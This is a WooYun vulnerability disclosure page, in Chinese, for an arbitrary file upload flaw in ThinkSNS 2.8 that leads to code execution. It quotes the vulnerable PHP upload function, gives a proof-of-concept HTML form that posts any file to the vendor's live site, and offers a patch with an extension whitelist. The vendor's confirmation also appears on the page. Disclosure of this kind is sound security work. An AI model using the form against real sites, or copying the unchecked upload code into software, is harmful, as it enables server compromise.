当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-013505

漏洞标题:ThinkSNS 2.8 上传任意文件漏洞

相关厂商:ThinkSNS

漏洞作者: yelo

提交时间:2012-10-18 15:18

修复时间:2012-12-02 15:19

公开时间:2012-12-02 15:19

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:14

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-10-18: 细节已通知厂商并且等待厂商处理中
2012-10-23: 厂商已经确认,细节仅向厂商公开
2012-11-02: 细节向核心白帽子及相关领域专家公开
2012-11-12: 细节向普通白帽子公开
2012-11-22: 细节向实习白帽子公开
2012-12-02: 细节向公众公开

简要描述:

ThinkSNS 2.8 可上传任意文件

详细说明:

微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
\api\StatusesApi.class.php

function uploadpic(){
if( $_FILES['pic'] ){
//执行上传操作
$savePath = $this->_getSaveTempPath();
$filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
{
$result['boolen'] = 1;
$result['type_data'] = 'temp/'.$filename;
$result['picurl'] = SITE_PATH.'/uploads/temp/'.$filename;
} else {
$result['boolen'] = 0;
$result['message'] = '上传失败';
}
}else{
$result['boolen'] = 0;
$result['message'] = '上传失败';
}
return $result;
}


unloadpic()方法没有对文件类型进行验证
可以构建表单, 选择任意文件, 提交到
/index.php?app=w3g&mod=Index&act=doPost
在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)

漏洞证明:

在登录thinksns官方微博后,
构建以下表单:

<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
<textarea name="content">test</textarea>
file: <input id="file" type="file" name="pic" />
<input type="submit" value="Post" />
</form>


去掉缩略图的前缀(small_ )


修复方案:

\api\StatusesApi.class.php

function uploadpic(){
/**
* 20121018 @yelo
* 增加上传类型验证
*/
$pathinfo = pathinfo($_FILES['pic']['name']);
$ext = $pathinfo['extension'];
$allowExts = array('jpg', 'png', 'gif', 'jpeg');
$uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
if( $uploadCondition ){
//执行上传操作
$savePath = $this->_getSaveTempPath();
$filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
{
$result['boolen'] = 1;
$result['type_data'] = 'temp/'.$filename;
$result['picurl'] = SITE_PATH.'/uploads/temp/'.$filename;
} else {
$result['boolen'] = 0;
$result['message'] = '上传失败';
}
}else{
$result['boolen'] = 0;
$result['message'] = '上传失败';
}
return $result;
}

版权声明:转载请注明来源 yelo@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-10-23 10:04

厂商回复:

这个已修复过了,不过还没通知用户,还是感谢您发现了问题,截图很详尽。

最新状态:

暂无


漏洞评价:

评论

  1. 2012-10-22 10:50 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者,关注web安全。)

    截图上传那里?